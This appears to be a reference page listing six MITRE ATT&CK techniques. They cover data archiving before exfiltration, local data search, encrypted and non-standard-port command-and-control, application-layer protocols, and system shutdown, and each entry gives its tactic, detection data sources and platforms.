Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre